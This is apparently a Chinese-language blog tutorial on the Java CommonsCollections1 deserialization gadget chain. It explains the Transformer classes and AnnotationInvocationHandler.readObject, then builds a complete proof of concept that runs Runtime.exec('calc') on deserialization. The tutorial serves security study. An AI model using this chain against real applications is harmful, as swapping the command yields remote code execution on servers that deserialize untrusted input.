Java安全-反序列化CommonsCollections1利用链

在上一篇文章中,我们学习了Java反序列化入门的URLDNS链,这次进行CC链的初次学习

前置知识

在学习CC链之前,我们需要了解一些前置知识,其实就是了解CommonsCollections中的几个Transformer,这几个类建议直接看着源码来学习

环境

1
2
3
4
5
6
7
8
9
<dependencies>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

</dependencies>

JDK版本应该为8u71之前

Commons Collections

这个Commons Collections是什么意思呢,简单的说,就是一个对Java的标准Collections API提供一个补充,有点像增强版的Collections,在标准的基础上对其进行了很好的封装、抽象和补充,实际上的作用就是提供一个decorate方法,我们传进去一个Collection和需要的类型甄别信息java.lang.Class,它给我们创建一个全新的增强版的Collection

Transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public interface Transformer {

/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);

}

Transformer是一个接口,注释中说到,这个接口的transform方法是将输入的对象转换成某个输出的对象,在转换Map的

TransformedMap

这是一个对Java标准结构Map进行增强的类

1
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

然后看看我们需要用到的decorate方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

第一个参数就是我们要修饰的Map对象,后面两个参数keyTransformer和valueTransformer是两个实现了Transformer接口的类,在经过这个增强之后,传入参数的时候,将调用keyTransformer和valueTransformer分别对传入的key和value值进行处理,为null的话就代表不进行处理,传出的Map就是经过修饰的Map

ConstantTransformer

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

比较简单,看一下源码,是一个实现了Transformer接口的一个类,就是在构造函数的时候传入一个对象,然后返回这个对象

InvokerTransformer

看到这个名称,就会想起反射中的方法调用,具体看看源码,利用反射执行函数:

具体实例化的时候需要传入三个参数,第一个参数是方法名,第二个参数是该方法传入的参数类型,第三个就是要传入的参数列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

ChainedTransformer

需要了解的最后一个类,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class ChainedTransformer implements Transformer, Serializable {

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

看名字也能大概理解一些,它的作用就是将内部的多个Transformer串在一起,也就是形成一条链子,将前一个Transformer输出的结果传到下一个,即把一个Transformer[]当入参数传进去,根据这个数组中的Transformer依次处理输入

通过上面那些,就能写出一个非常简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
//首先构造了一个Transformer数组,其实作用就是构造后面的TransformerChain,在其中放多个Transformer
Transformer[] transformers = new Transformer[]{
//返回Runtime对象
new ConstantTransformer(Runtime.getRuntime()),
//执行Runtime对象的exec方法,传入calc参数
//exec为调用的方法名,第二个为传入的参数类型String,第三个为传入的具体参数
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
//用transformers数组构造ChainedTransformer这个继承类
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//创建Map并用TransformerMap进行修饰
Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
//触发回调
outerMap.put("zjm666","zjm666");
}
}

然后我们就可以开始构造真正的可利用poc了,前面说过,我们要触发这个回调的话,需要向Map中加入一个新的元素,然后在加入元素的时候调用我们编写的回调函数,在前面我们写的Demo中,我们直接手工用了put来出发漏洞,但是在实际反序列化的时候,我们需要找到一个类,能在反序列化的readObject方法中有类似的写入操作,这个类是sun.reflect.annotation.AnnotationInvocationHandle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private final Map<String, Object> memberValues;
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

关键代码如下

1
2
3
Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue();

前面提到了,setValue同样可以触发我们的“回调函数”,因此可以触发漏洞,其中memberValues就是反序列化后的Map,也是经过Transfomer修饰过的Map,在这里遍历了它的所有元素,然后在setValue设置值的时候触发回调函数

构造POC

构造POC的第一步,就是要构造一个AnnotationInvocationHandler对象,这个类是一个JDK的内部类,不能直接通过new将其构造出来,所以需要通过反射的方法进行实例化

1
2
3
4
5
//Reflection
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object obj = cons.newInstance(Retention.class,outerMap);

Runtime的问题

在构造完上面的对象后,我们需要将它进行序列化,然后就会用到如下代码进行序列化操作

1
2
3
ByteArrayOutputStream byteout=new ByteArrayOutputStream();
ObjectOutputStream objout=new ObjectOutputStream(byteout);
objout.writeObject(obj);

然后就发现抛出了java.io.NotSerializableException的异常,我们之前在讲序列化的时候就说过,当一个类需要进行序列化的时候,这个类必须要继承序列化的接口,报错的原因就在于Runtime类并没有实现Serializable接口,所以无法序列化

那我们可以使用反射的方法,通过Class类来获取Runtime对象,而Class是继承了序列化接口的,然后改变成Transformer的写法就是如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
//返回Runtime的class对象,之前的demo返回的是Runtime对象
new ConstantTransformer(Class.forName("java.lang.Runtime")),
//执行getMethod方法,获取一个getRuntime的方法
//方法名为getMethod,传入类型为String,传入参数为getRuntime
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
//执行invoke方法
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
//执行exec方法,传入的参数为calc
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

其实和demo最大的区别就是将Runtime.getRuntime() 换成了Runtime.class所以需要多一步getMethod去获取getRuntime方法

readObject

然后我们来看一看反序列化的过程中是如何触发漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}

可以看到如果要触发setValue这个方法的话,需要先经过一个var7 != null的判断,只有var7不为空的时候,才会执行setValue进而触发漏洞

那我们分析一下,要想var7不为空,首先**(Class)var3.get(var6)**需要有东西,那再往前跟var3需要有东西,需要 Map var3 = var2.memberTypes();有东西,那么再来看看这个var2,它创建了一个AnnotationType的实例,再看看生成实例的参数this.type,也就是我们传入的Retention.class

1
2
3
4
5
6
7
8
9
10
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
/**
* Returns the retention policy.
* @return the retention policy
*/
RetentionPolicy value();
}

方法名是成员名字,返回值是成员的类型,对于Map var3 = var2.memberTypes();返回的这个Map,它的键就是成员的名字,值就是成员的类型

需要var7 != null才能进入if,触发漏洞。想让var7不为null,就需要从我们控制的map里面得到的键,在Map var3 = var2.memberTypes();得到的Map里面也有同样的键才行。既然Retention里面的方法名是value,因此我们给传入的 Map键设置成value也就可以了

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
    Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. 被TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

而因为Retention有一个方法,名为value;所以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素

最终的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","xxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
//outerMap.put("zjm666", "zjm666");


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object obj = cons.newInstance(Retention.class,outerMap);

ByteArrayOutputStream byteout=new ByteArrayOutputStream();
ObjectOutputStream objout=new ObjectOutputStream(byteout);
objout.writeObject(obj);

ObjectInputStream objin=new ObjectInputStream(new ByteArrayInputStream(byteout.toByteArray()));
Object o=(Object) objin.readObject();
}
}